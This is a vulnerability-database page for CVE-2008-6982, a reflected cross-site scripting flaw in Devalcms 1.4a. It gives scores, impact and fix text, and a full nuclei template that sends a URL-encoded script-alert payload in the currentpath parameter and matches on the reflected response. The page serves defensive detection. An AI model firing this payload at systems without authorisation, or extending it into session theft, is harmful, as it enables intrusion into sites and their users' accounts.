HexBrain

Browse / CVEs / CVE-2008-6982

CVE-2008-6982· devalcms / devalcms· CWE-79

Devalcms 1.4a - Cross-Site Scripting

mediumseverity
4.3CVSS score
5.8%likelihood of exploitation, next 30 days
93%of all CVEs are less likely
Readycheck to confirm it

Devalcms 1.4a contains a cross-site scripting vulnerability in the currentpath parameter of the index.php file.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.

Fix

Upgrade to the latest version to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/index.php?currentpath=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "sub menu for: <script>alert(document.domain)</script>" AND contains in header "text/html" AND status 500

Run it with nuclei: nuclei -id CVE-2008-6982 -u <target>

The full check
id: CVE-2008-6982

info:
  name: Devalcms 1.4a - Cross-Site Scripting
  author: arafatansari
  severity: medium
  description: |
    Devalcms 1.4a contains a cross-site scripting vulnerability in the currentpath parameter of the index.php file.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/6369
    - http://sourceforge.net/projects/devalcms/files/devalcms/devalcms-1.4b/devalcms-1.4b.zip/download
    - https://nvd.nist.gov/vuln/detail/CVE-2008-6982
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/44940
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2008-6982
    cwe-id: CWE-79
    epss-score: 0.05782
    epss-percentile: 0.9316
    cpe: cpe:2.3:a:devalcms:devalcms:1.4a:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: devalcms
    product: devalcms
  tags: cve,cve2008,devalcms,xss,cms,edb,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/index.php?currentpath=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'sub menu for: <script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 500

References

Use this check only on systems you are authorised to test. Where the data comes from